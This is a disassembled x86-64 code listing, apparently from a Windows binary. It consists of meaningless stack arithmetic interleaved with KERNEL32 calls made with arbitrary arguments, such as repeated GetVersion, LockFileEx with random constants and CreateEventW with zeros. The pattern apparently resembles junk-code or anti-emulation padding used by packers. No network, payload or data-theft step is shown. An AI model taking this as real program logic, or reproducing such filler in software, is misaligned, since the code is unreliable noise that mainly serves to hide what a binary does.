mov rcx, qword [rsp + 0x130b8]
mov byte [rcx], al
mov rax, qword [rsp + 0x13508]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x13308]
movzx ecx, word [rcx]
xor eax, ecx
mov word [rsp + 0x1560], ax
mov rax, qword [rsp + 0x13bd8]
movsx eax, byte [rax]
cdq
mov ecx, 0x51
idiv ecx
mov rcx, qword [rsp + 0x12ea0]
mov byte [rcx], al
lea rax, [rsp + 0x1bd0]
mov qword [rsp + 0x148f8], rax
mov rax, qword [rsp + 0x14498]
mov eax, dword [rax]
mov rcx, qword [rsp + 0x13d90]
mov qword [rsp + 0x14900], rcx
movzx ecx, al
mov rax, qword [rsp + 0x14900]
mov eax, dword [rax]
shr eax, cl
mov dword [0x1403624d0], eax
mov rcx, qword [rsp + 0x12cf0]
call qword [sym.imp.KERNEL32.dll_ResetEvent]
mov eax, dword [rsp + 0x59cc]
movzx ecx, al
mov eax, dword [rsp + 0x9d58]
shl eax, cl
mov dword [rsp + 0x9e34], eax
mov rax, qword [rsp + 0x132a0]
movzx eax, byte [rax]
imul eax, eax, 0xf
mov byte [rsp + 0x764], al
lea rax, [rsp + 0x2ba4]
mov qword [rsp + 0x14908], rax
mov rax, qword [0x140369d60]
mov rcx, qword [rsp + 0x138d8]
mov ecx, dword [rcx]
mov eax, dword [rax]
or eax, ecx
mov rcx, qword [rsp + 0x131b8]
mov dword [rcx], eax
mov eax, dword [rsp + 0x9d28]
mov dword [rsp + 0x9f54], eax
mov eax, dword [rsp + 0x6ee8]
mov ecx, dword [rsp + 0x9c3c]
and ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x140b8]
mov dword [rcx], eax
mov rax, qword [rsp + 0x13b70]
mov rcx, qword [rsp + 0x14668]
mov ecx, dword [rcx]
mov eax, dword [rax]
and eax, ecx
mov rcx, qword [rsp + 0x14788]
mov dword [rcx], eax
movzx eax, word [rsp + 0x2b90]
mov word [rsp + 0x2cb0], ax
mov rax, qword [rsp + 0x139c8]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x729]
add eax, ecx
mov byte [0x140363f1f], al
mov dword [rsp + 0x4bfd0], 0x11c
mov rax, qword [rsp + 0x14818]
mov eax, dword [rax]
mov ecx, dword [0x140369eec]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x13f50]
mov dword [rcx], eax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_LocalShrink]
lea rax, [rsp + 0x6a84]
mov qword [rsp + 0x14910], rax
mov eax, dword [0x1403624b0]
mov ecx, dword [rsp + 0x76ec]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x9d50], eax
lea rax, [rsp + 0x9ccc]
mov qword [rsp + 0x14918], rax
lea rdx, [rsp + 0x42f40]
mov rcx, qword [rsp + 0x141f8]
call qword [sym.imp.KERNEL32.dll_GetFileInformationByHandle]
mov dword [rsp + 0x9c18], eax
mov rax, qword [rsp + 0x14588]
mov rcx, qword [rsp + 0x13ac0]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0x14338]
mov dword [rcx], eax
movsx eax, byte [rsp + 0x73e]
movsx ecx, byte [0x140363efc]
and eax, ecx
mov rcx, qword [rsp + 0x145f8]
mov byte [rcx], al
lea rax, [rsp + 0x2c5c]
mov qword [rsp + 0x14920], rax
mov edx, 0x180b
mov rcx, qword [rsp + 0x143a8]
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov dword [rsp + 0x9d3c], eax
movzx eax, byte [rsp + 0x585]
mov rcx, qword [rsp + 0x13930]
movzx ecx, byte [rcx]
imul eax, ecx
mov byte [rsp + 0x70d], al
call qword [sym.imp.KERNEL32.dll_GetVersion]
mov dword [rsp + 0x9ee8], eax
movzx eax, word [rsp + 0x2850]
mov word [0x140369fdc], ax
mov rax, qword [rsp + 0x12f08]
mov eax, dword [rax]
mov ecx, dword [0x140369d90]
or ecx, eax
mov eax, ecx
mov dword [rsp + 0x6270], eax
mov eax, dword [rsp + 0x67d8]
mov ecx, dword [rsp + 0x86f8]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x142f8]
mov dword [rcx], eax
movzx eax, word [rsp + 0x2b80]
movzx ecx, word [rsp + 0x1ab8]
shl eax, cl
mov word [rsp + 0x1310], ax
movzx eax, byte [rsp + 0x752]
mov byte [rsp + 0x773], al
mov rax, qword [rsp + 0x13ad8]
mov eax, dword [rax]
movzx ecx, al
mov eax, dword [rsp + 0x9b88]
sar eax, cl
mov dword [rsp + 0x9ab4], eax
mov rcx, qword [rsp + 0x13290]
call qword [sym.imp.KERNEL32.dll_ReleaseMutex]
lea rax, [0x140369b98]
mov qword [rsp + 0x14928], rax
mov eax, dword [rsp + 0x9b2c]
mov ecx, dword [rsp + 0x7804]
xor ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x14438]
mov dword [rcx], eax
mov rax, qword [rsp + 0x14338]
mov ecx, dword [rsp + 0x9d2c]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0x9618], eax
mov rax, qword [rsp + 0x13170]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x76d]
sub eax, ecx
mov rcx, qword [0x140369ee0]
mov byte [rcx], al
lea rax, [rsp + 0x1588]
mov qword [rsp + 0x14930], rax
mov rax, qword [rsp + 0x142f8]
mov rcx, qword [rsp + 0x13d60]
mov ecx, dword [rcx]
mov eax, dword [rax]
or eax, ecx
mov dword [rsp + 0x9d38], eax
mov eax, dword [rsp + 0x938c]
mov ecx, dword [0x140362464]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x5ca0], eax
movsx eax, word [rsp + 0x18c4]
movsx ecx, word [rsp + 0x12cc]
and eax, ecx
mov word [rsp + 0x2c9c], ax
lea rax, [rsp + 0x72c]
mov qword [rsp + 0x14938], rax
movzx eax, byte [0x1403525b6]
mov rcx, qword [rsp + 0x13fd0]
movzx ecx, byte [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x13ec0]
mov byte [rcx], al
mov rax, qword [rsp + 0x13c60]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x288c]
add eax, ecx
mov rcx, qword [rsp + 0x13308]
mov word [rcx], ax
mov eax, dword [0x1403624d0]
mov dword [rsp + 0x9f58], eax
mov eax, dword [rsp + 0x64b0]
mov ecx, dword [rsp + 0x9bd8]
sub ecx, eax
mov eax, ecx
mov dword [0x1403624d4], eax
mov rax, qword [rsp + 0x14430]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x58d4]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x8cfc], eax
lea rax, [rsp + 0x9bb8]
mov qword [rsp + 0x14940], rax
mov rax, qword [rsp + 0x13c98]
mov ecx, dword [rsp + 0x9e44]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0x13540]
mov dword [rcx], eax
movzx eax, word [rsp + 0x2c88]
mov rcx, qword [rsp + 0x13138]
movzx ecx, word [rcx]
or eax, ecx
mov word [rsp + 0x1f18], ax
lea rax, [0x1403525af]
mov qword [rsp + 0x14948], rax
mov eax, dword [rsp + 0x59fc]
movzx ecx, al
mov eax, dword [rsp + 0x9a14]
sar eax, cl
mov dword [rsp + 0x9a48], eax
mov eax, dword [rsp + 0x9eb8]
mov dword [rsp + 0x9f5c], eax
mov eax, dword [rsp + 0x9c20]
mov rcx, qword [rsp + 0x13aa8]
mov qword [rsp + 0x14950], rcx
movzx ecx, al
mov rax, qword [rsp + 0x14950]
mov eax, dword [rax]
shl eax, cl
mov dword [rsp + 0x9124], eax
mov eax, dword [rsp + 0x9dc8]
mov ecx, dword [rsp + 0x8754]
xor ecx, eax
mov eax, ecx
mov rcx, qword [0x140369cc8]
mov dword [rcx], eax
mov rax, qword [rsp + 0x130b8]
movzx eax, byte [rax]
movzx ecx, byte [0x1403525a3]
and eax, ecx
mov byte [rsp + 0x630], al
lea rax, [rsp + 0x2234]
mov qword [rsp + 0x14958], rax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_AssignProcessToJobObject]
mov rax, qword [rsp + 0x12ea0]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x73b]
and eax, ecx
mov byte [rsp + 0x71b], al
lea rcx, [rsp + 0x4beb0]
call qword [sym.imp.KERNEL32.dll_GetVersionExW]
mov dword [rsp + 0x9d6c], eax
lea rax, [rsp + 0x2858]
mov qword [rsp + 0x14960], rax
call qword [sym.imp.KERNEL32.dll_GetVersion]
mov dword [rsp + 0x9e64], eax
mov eax, dword [rsp + 0x87e8]
mov ecx, dword [rsp + 0x7254]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x14538]
mov dword [rcx], eax
mov rax, qword [rsp + 0x14310]
mov ecx, dword [rsp + 0x9ca4]
mov eax, dword [rax]
or eax, ecx
mov dword [rsp + 0x9c5c], eax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetProcessHandleCount]
mov rax, qword [rsp + 0x133d8]
movzx eax, word [rax]
movzx ecx, word [0x140369cb8]
sub eax, ecx
mov word [rsp + 0x137c], ax
movzx eax, byte [rsp + 0x764]
movzx ecx, byte [rsp + 0x120]
and eax, ecx
mov rcx, qword [rsp + 0x146f0]
mov byte [rcx], al
mov rax, qword [rsp + 0x132d8]
mov eax, dword [rax]
mov dword [0x140369fe0], eax
lea rax, [rsp + 0x9678]
mov qword [rsp + 0x14968], rax
mov rax, qword [0x140369d60]
mov ecx, dword [rsp + 0x9e5c]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0x12eb8]
mov dword [rcx], eax
mov dword [rsp + 0x4c0f0], 0x11c
mov eax, dword [rsp + 0x9ddc]
mov dword [rsp + 0x9f60], eax
mov rax, qword [rsp + 0x12f90]
movzx eax, byte [rax]
movzx ecx, byte [0x1403525ba]
add eax, ecx
mov byte [rsp + 0x735], al
mov rax, qword [rsp + 0x13810]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x2b78]
add eax, ecx
mov word [rsp + 0x2b8c], ax
mov qword [rsp + 0x20], 0
mov r9d, 0x5d8
mov r8d, 0x2a1d
mov edx, 0x7d
mov rcx, qword [rsp + 0x14550]
call qword [sym.imp.KERNEL32.dll_UnlockFileEx]
mov dword [rsp + 0x9a68], eax
call qword [sym.imp.KERNEL32.dll_GetVersion]
mov dword [rsp + 0x9d30], eax
lea rax, [rsp + 0x78f4]
mov qword [rsp + 0x14970], rax
mov rax, qword [rsp + 0x13bd0]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x9e08]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x9a30], eax
mov rax, qword [rsp + 0x14330]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x9f18]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x5920], eax
mov qword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0x1eb8
mov r9d, 0x53f
mov r8d, 0x4bc75a1a
mov edx, 1
mov rcx, qword [rsp + 0x13140]
call qword [sym.imp.KERNEL32.dll_LockFileEx]
mov dword [rsp + 0x9f64], eax
mov rax, qword [rsp + 0x13828]
mov eax, dword [rax]
mov dword [0x140369fe4], eax
mov rax, qword [rsp + 0x144f8]
mov ecx, dword [0x1403624c0]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0x12eb8]
mov dword [rcx], eax
mov rax, qword [rsp + 0x131b0]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x73c]
xor eax, ecx
mov byte [rsp + 0x731], al
movzx eax, word [rsp + 0x18c4]
mov word [rsp + 0x2cb4], ax
movzx eax, word [rsp + 0x2b94]
mov rcx, qword [rsp + 0x14560]
movzx ecx, word [rcx]
shl eax, cl
mov rcx, qword [rsp + 0x14278]
mov word [rcx], ax
movzx eax, byte [rsp + 0x1f1]
mov byte [rsp + 0x774], al
mov rax, qword [rsp + 0x13fc0]
mov eax, dword [rax]
movzx ecx, al
mov eax, dword [rsp + 0x9ab0]
shr eax, cl
mov dword [rsp + 0x9abc], eax
call qword [sym.imp.KERNEL32.dll_GetVersion]
mov dword [rsp + 0x9b80], eax
mov eax, dword [0x140362478]
mov ecx, dword [rsp + 0x83e4]
or ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x12fa0]
mov dword [rcx], eax
mov rcx, qword [rsp + 0x135e8]
call qword [sym.imp.KERNEL32.dll_ReleaseMutex]
xor r8d, r8d
mov edx, 2
lea rcx, [rsp + 0x4b010]
call qword [sym.imp.KERNEL32.dll_VerifyVersionInfoW]
mov dword [rsp + 0x9f68], eax
lea rax, [rsp + 0x74f]
mov qword [rsp + 0x14978], rax
lea rdx, [rsp + 0x42e98]
mov rcx, qword [rsp + 0x13558]
call qword [sym.imp.KERNEL32.dll_GetFileInformationByHandle]
mov dword [rsp + 0x9980], eax
mov rax, qword [rsp + 0x13f08]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x260c]
and eax, ecx
mov word [0x140369c6c], ax
mov eax, dword [rsp + 0x9b10]
mov ecx, dword [rsp + 0x57fc]
and ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x13748]
mov dword [rcx], eax
lea rax, [rsp + 0x53f0]
mov qword [rsp + 0x14980], rax
call qword [sym.imp.KERNEL32.dll_GetVersion]
mov dword [rsp + 0x9d30], eax
mov eax, dword [rsp + 0x9cb4]
mov ecx, dword [rsp + 0x56e4]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x9cbc], eax
mov rax, qword [rsp + 0x12f58]
mov ecx, dword [rsp + 0x8a60]
mov eax, dword [rax]
or eax, ecx
mov dword [rsp + 0x8cb0], eax
lea rax, [rsp + 0x2ba8]
mov qword [rsp + 0x14988], rax
mov rax, qword [rsp + 0x14520]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x13980]
movzx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x5cb], al
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateEventW]
mov qword [rsp + 0x14990], rax
lea rax, [0x14036246c]
mov qword [rsp + 0x14998], rax
mov rax, qword [rsp + 0x13320]
mov ecx, dword [rsp + 0x9bbc]
mov eax, dword [rax]
and eax, ecx
mov rcx, qword [rsp + 0x13b98]
mov dword [rcx], eax
movsx eax, word [rsp + 0x26e0]
mov rcx, qword [rsp + 0x13e38]
movsx ecx, word [rcx]
sub eax, ecx
mov rcx, qword [0x140369f18]
mov word [rcx], ax
movsx eax, byte [0x140363edd]
mov rcx, qword [rsp + 0x12ed0]
movsx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x319], al
movzx eax, byte [rsp + 0x266]
movzx ecx, byte [rsp + 0x204]
add eax, ecx
mov rcx, qword [rsp + 0x14340]
mov byte [rcx], al
mov rax, qword [0x140369c50]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x144c8]
movzx ecx, word [rcx]
shl eax, cl
mov word [rsp + 0x2be4], ax
lea rax, [rsp + 0x9a50]
mov qword [rsp + 0x149a0], rax
mov eax, dword [rsp + 0x9bcc]
movzx ecx, al
mov eax, dword [rsp + 0x5330]
shr eax, cl
mov rcx, qword [rsp + 0x13d90]
mov dword [rcx], eax
mov rax, qword [rsp + 0x13160]
mov eax, dword [rax]
mov dword [rsp + 0x9f6c], eax
call qword [sym.imp.KERNEL32.dll_GetVersion]
mov dword [rsp + 0x9cec], eax
mov rax, qword [rsp + 0x13e68]
mov rcx, qword [rsp + 0x13e20]
mov ecx, dword [rcx]
mov eax, dword [rax]
xor eax, ecx
mov dword [rsp + 0x9888], eax
mov rax, qword [rsp + 0x139a0]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x567c]
or ecx, eax
mov eax, ecx
mov dword [rsp + 0x95fc], eax
movzx eax, byte [0x1403525af]
mov rcx, qword [rsp + 0x13d80]
movzx ecx, byte [rcx]
imul eax, ecx
mov byte [rsp + 0x74], al
mov rax, qword [rsp + 0x13248]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x26fc]
and eax, ecx
mov word [0x1403624d8], ax
mov dword [rsp + 0x20], 0x267
mov r9d, 0x210d
mov r8d, 0x430
mov edx, 0x1dc9
mov rcx, qword [rsp + 0x13090]
call qword [sym.imp.KERNEL32.dll_UnlockFile]
mov dword [rsp + 0x9c30], eax
mov rax, qword [rsp + 0x13070]
mov rcx, qword [rsp + 0x13fa8]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0x14308]
mov dword [rcx], eax
lea rax, [rsp + 0x9f2c]
mov qword [rsp + 0x149a8], rax
mov rax, qword [rsp + 0x14238]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x9c94]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x9b24], eax
mov eax, dword [rsp + 0x9f4c]
mov ecx, dword [0x140369dfc]
and ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x13080]
mov dword [rcx], eax
lea rax, [rsp + 0x1310]
mov qword [rsp + 0x149b0], rax
mov rax, qword [rsp + 0x13d10]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x13708]
movzx ecx, byte [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x14660]
mov byte [rcx], al
lea rax, [0x14036248c]
mov qword [rsp + 0x149b8], rax
mov rax, qword [rsp + 0x141a0]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x771]
or eax, ecx
mov byte [rsp + 0x730], al
mov eax, dword [rsp + 0x9eb8]
mov ecx, dword [rsp + 0x9db4]
sub ecx, eax
mov eax, ecx
mov rcx, qword [0x140369d68]
mov dword [rcx], eax
lea rdx, [rsp + 0x42e60]
mov rcx, qword [rsp + 0x13f20]
call qword [sym.imp.KERNEL32.dll_GetFileInformationByHandle]
mov dword [rsp + 0x9f70], eax
mov eax, dword [0x140369d50]
mov dword [rsp + 0x9f74], eax
movzx eax, word [rsp + 0x2bb4]
mov rcx, qword [rsp + 0x13c70]
movzx ecx, word [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x132b0]
mov word [rcx], ax
movzx eax, byte [rsp + 0x739]
mov rcx, qword [rsp + 0x12dd8]
movzx ecx, byte [rcx]
and eax, ecx
mov byte [rsp + 0x37f], al
lea rax, [rsp + 0x9d40]
mov qword [rsp + 0x149c0], rax
call qword [sym.imp.KERNEL32.dll_GetVersion]
mov dword [rsp + 0x9afc], eax
mov qword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0x185c
mov r9d, 0x2a9f
mov r8d, 0x63c6eb8f
mov edx, 2
mov rcx, qword [rsp + 0x12bf0]
call qword [sym.imp.KERNEL32.dll_LockFileEx]
mov dword [rsp + 0x9b40], eax
mov eax, dword [rsp + 0x709c]
mov ecx, dword [rsp + 0x9a80]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x8cb0], eax
lea rax, [rsp + 0x9a14]
mov qword [rsp + 0x149c8], rax
mov rax, qword [rsp + 0x13048]
mov rcx, qword [rsp + 0x14008]
mov ecx, dword [rcx]
mov eax, dword [rax]
xor eax, ecx
mov rcx, qword [rsp + 0x13f60]
mov dword [rcx], eax
mov rax, qword [rsp + 0x132c0]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x13170]
movzx ecx, byte [rcx]
cdq
idiv ecx
mov byte [rsp + 0x4a8], al
mov rax, qword [rsp + 0x14988]
movzx eax, word [rax]
mov word [0x140369fe8], ax
mov eax, dword [0x140362490]
mov dword [rsp + 0x9f78], eax
mov rax, qword [rsp + 0x14180]
mov eax, dword [rax]
mov rcx, qword [rsp + 0x130e8]
mov qword [rsp + 0x149d0], rcx
movzx ecx, al
mov rax, qword [rsp + 0x149d0]
mov eax, dword [rax]
shl eax, cl
mov dword [rsp + 0x7a5c], eax
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateEventW]
mov qword [rsp + 0x149d8], rax
lea rax, [rsp + 0x871c]
mov qword [rsp + 0x149e0], rax
mov eax, dword [0x140369bc0]
mov rcx, qword [rsp + 0x13b30]
mov qword [rsp + 0x149e8], rcx
movzx ecx, al
mov rax, qword [rsp + 0x149e8]
mov eax, dword [rax]
sar eax, cl
mov dword [rsp + 0x9eb4], eax
mov eax, dword [rsp + 0x9d74]
mov ecx, dword [rsp + 0x9d08]
or ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x13000]
mov dword [rcx], eax
lea rax, [rsp + 0x76f]
mov qword [rsp + 0x149f0], rax
mov rax, qword [rsp + 0x136a0]
movsx eax, word [rax]
movsx ecx, word [0x140369fd8]
and eax, ecx
mov rcx, qword [rsp + 0x12ec8]
mov word [rcx], ax
mov rax, qword [rsp + 0x14948]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x14288]
movzx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x666], al
mov rax, qword [rsp + 0x13cd8]
movzx eax, word [rax]
movzx ecx, word [0x140369c88]
sub eax, ecx
mov word [0x1403624ac], ax
mov eax, dword [rsp + 0x747c]
mov ecx, dword [rsp + 0x9dc4]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x13358]
mov dword [rcx], eax
mov rax, qword [rsp + 0x134f0]
mov ecx, dword [rsp + 0x9d1c]
mov eax, dword [rax]
and eax, ecx
mov rcx, qword [rsp + 0x13ac8]
mov dword [rcx], eax
mov qword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0x26c3
mov r9d, 0x2d98
mov r8d, 0x1b61693
mov edx, 2
mov rcx, qword [rsp + 0x13e30]
call qword [sym.imp.KERNEL32.dll_LockFileEx]
mov dword [rsp + 0x9a3c], eax
movzx eax, word [rsp + 0x1168]
mov word [rsp + 0x2cb8], ax
movzx eax, byte [rsp + 0x750]
mov rcx, qword [rsp + 0x12fc0]
movzx ecx, byte [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x14880]
mov byte [rcx], al
lea rax, [rsp + 0x9cd0]
mov qword [rsp + 0x149f8], rax
mov rax, qword [rsp + 0x142f8]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x747c]
or ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x13df0]
mov dword [rcx], eax
lea rax, [rsp + 0x9c50]
mov qword [rsp + 0x14a00], rax
mov rax, qword [rsp + 0x141c0]
mov ecx, dword [rsp + 0x9cac]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x9da0], eax
mov rax, qword [rsp + 0x13448]
movzx eax, word [rax]
mov rcx, qword [0x140369b80]
movzx ecx, word [rcx]
add eax, ecx
mov word [0x1403624dc], ax
mov rax, qword [rsp + 0x13bb8]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x14598]
movzx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x1f3], al
mov rax, qword [rsp + 0x143b0]
mov eax, dword [rax]
mov rcx, qword [rsp + 0x12f58]
mov qword [rsp + 0x14a08], rcx
movzx ecx, al
mov rax, qword [rsp + 0x14a08]
mov eax, dword [rax]
shr eax, cl
mov dword [rsp + 0x5480], eax
mov eax, dword [rsp + 0x7804]
mov ecx, dword [rsp + 0x9cb8]
xor ecx, eax
mov eax, ecx
mov dword [rsp + 0x69f4], eax
lea rax, [rsp + 0x559]
mov qword [rsp + 0x14a10], rax
mov rax, qword [rsp + 0x13330]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x148f8]
movsx ecx, word [rcx]
shl eax, cl
mov word [rsp + 0x1ed0], ax
mov rax, qword [rsp + 0x13dd0]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x17e8]
imul eax, ecx
mov rcx, qword [rsp + 0x133d8]
mov word [rcx], ax
mov dword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateFileMappingW]
mov rax, qword [rsp + 0x13170]
movzx eax, byte [rax]
mov byte [rsp + 0x775], al
mov rax, qword [rsp + 0x12cf8]
mov rcx, qword [rsp + 0x134f8]
mov ecx, dword [rcx]
mov eax, dword [rax]
or eax, ecx
mov rcx, qword [rsp + 0x138c0]
mov dword [rcx], eax
mov rax, qword [rsp + 0x14a00]
mov eax, dword [rax]
mov dword [0x140369fec], eax
mov rax, qword [rsp + 0x14670]
mov ecx, dword [rsp + 0x8ca0]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0x64c8], eax
mov rax, qword [rsp + 0x138f0]
mov ecx, dword [rsp + 0x9d38]
mov eax, dword [rax]
and eax, ecx
mov rcx, qword [rsp + 0x133a0]
mov dword [rcx], eax
mov eax, dword [rsp + 0x9b20]
mov ecx, dword [rsp + 0x5b2c]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x9a90], eax
lea rax, [rsp + 0x2c3c]
mov qword [rsp + 0x14a18], rax
mov rax, qword [rsp + 0x13d80]
movzx eax, byte [rax]
mov rcx, qword [0x140369d00]
movzx ecx, byte [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x13858]
mov byte [rcx], al
mov dword [rsp + 0x4c210], 0x11c
mov eax, dword [rsp + 0x9bfc]
mov dword [rsp + 0x9f7c], eax
mov eax, dword [rsp + 0x8e2c]
mov ecx, dword [rsp + 0x73a0]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x8a60], eax
mov rax, qword [0x140369d18]
mov eax, dword [rax]
mov dword [rsp + 0x9f80], eax
mov rax, qword [rsp + 0x13cc0]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x9d00]
sub ecx, eax
mov eax, ecx
mov rcx, qword [0x140369ec8]
mov dword [rcx], eax
mov rax, qword [rsp + 0x12fc0]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x774]
and eax, ecx
mov rcx, qword [rsp + 0x14448]
mov byte [rcx], al
movzx eax, word [0x140369c90]
mov rcx, qword [rsp + 0x13058]
movzx ecx, word [rcx]
or eax, ecx
mov word [rsp + 0x2234], ax
mov rcx, qword [rsp + 0x12fd0]
call qword [sym.imp.KERNEL32.dll_ResetEvent]
movsx eax, word [rsp + 0x2c90]
movsx ecx, word [rsp + 0x2094]
add eax, ecx
mov word [rsp + 0x29ec], ax
movsx eax, byte [rsp + 0x76f]
mov rcx, qword [0x140369ed8]
movsx ecx, byte [rcx]
sar eax, cl
mov rcx, qword [rsp + 0x13bd8]
mov byte [rcx], al
lea rax, [rsp + 0x9f4c]
mov qword [rsp + 0x14a20], rax
mov rax, qword [rsp + 0x13b70]
mov rcx, qword [rsp + 0x14430]
mov ecx, dword [rcx]
mov eax, dword [rax]
xor eax, ecx
mov rcx, qword [rsp + 0x13de0]
mov dword [rcx], eax
movzx eax, byte [rsp + 0x76d]
mov rcx, qword [rsp + 0x13010]
movzx ecx, byte [rcx]
shl eax, cl
mov byte [rsp + 0x735], al
lea rax, [rsp + 0x2bd8]
mov qword [rsp + 0x14a28], rax
lea rax, [rsp + 0x6234]
mov qword [0x140369ff0], rax
mov eax, dword [rsp + 0x9bac]
mov ecx, dword [rsp + 0x8f50]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0x66b0], eax
mov eax, dword [rsp + 0x9f28]
mov dword [rsp + 0x9f84], eax
mov rax, qword [rsp + 0x13d38]
mov ecx, dword [rsp + 0x86f8]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0x14738]
mov dword [rcx], eax
mov edx, 0x21cb
mov rcx, qword [rsp + 0x12f38]
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov dword [rsp + 0x9ecc], eax
movzx eax, word [rsp + 0x1878]
mov rcx, qword [0x140369b80]
movzx ecx, word [rcx]
imul eax, ecx
mov rcx, qword [rsp + 0x147a8]
mov word [rcx], ax
mov rax, qword [rsp + 0x13400]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x768]
or eax, ecx
mov byte [rsp + 0x6c0], al
mov rax, qword [rsp + 0x13a18]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x8cfc]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x9bac], eax
lea rax, [rsp + 0x8cfc]
mov qword [rsp + 0x14a30], rax
mov eax, dword [rsp + 0x8b20]
mov ecx, dword [rsp + 0x9f10]
and ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x133c0]
mov dword [rcx], eax
mov eax, dword [rsp + 0x9bc0]
mov ecx, dword [rsp + 0x9c80]
add ecx, eax
mov eax, ecx
mov dword [0x1403624b0], eax
mov rax, qword [0x140369cc8]
mov ecx, dword [rsp + 0x9dd4]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x9b44], eax
mov rax, qword [rsp + 0x140f0]
movzx eax, byte [rax]
mov byte [rsp + 0x776], al
mov rax, qword [rsp + 0x13630]
movsx eax, word [rax]
movsx ecx, word [0x140369c60]
sub eax, ecx
mov word [rsp + 0x2c8c], ax
lea rax, [rsp + 0x74d]
mov qword [rsp + 0x14a38], rax
movzx eax, word [rsp + 0x1f24]
movzx ecx, word [rsp + 0x1878]
add eax, ecx
mov word [rsp + 0x18f4], ax
lea rdx, [rsp + 0x42a70]
mov rcx, qword [rsp + 0x136b8]
call qword [sym.imp.KERNEL32.dll_GetFileInformationByHandle]
mov dword [rsp + 0x9f88], eax
lea rax, [rsp + 0x9cd8]
mov qword [rsp + 0x14a40], rax
mov rax, qword [0x140369d80]
mov ecx, dword [rsp + 0x64c8]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0x132d0]
mov dword [rcx], eax
mov rax, qword [rsp + 0x13100]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x14218]
movzx ecx, word [rcx]
imul eax, ecx
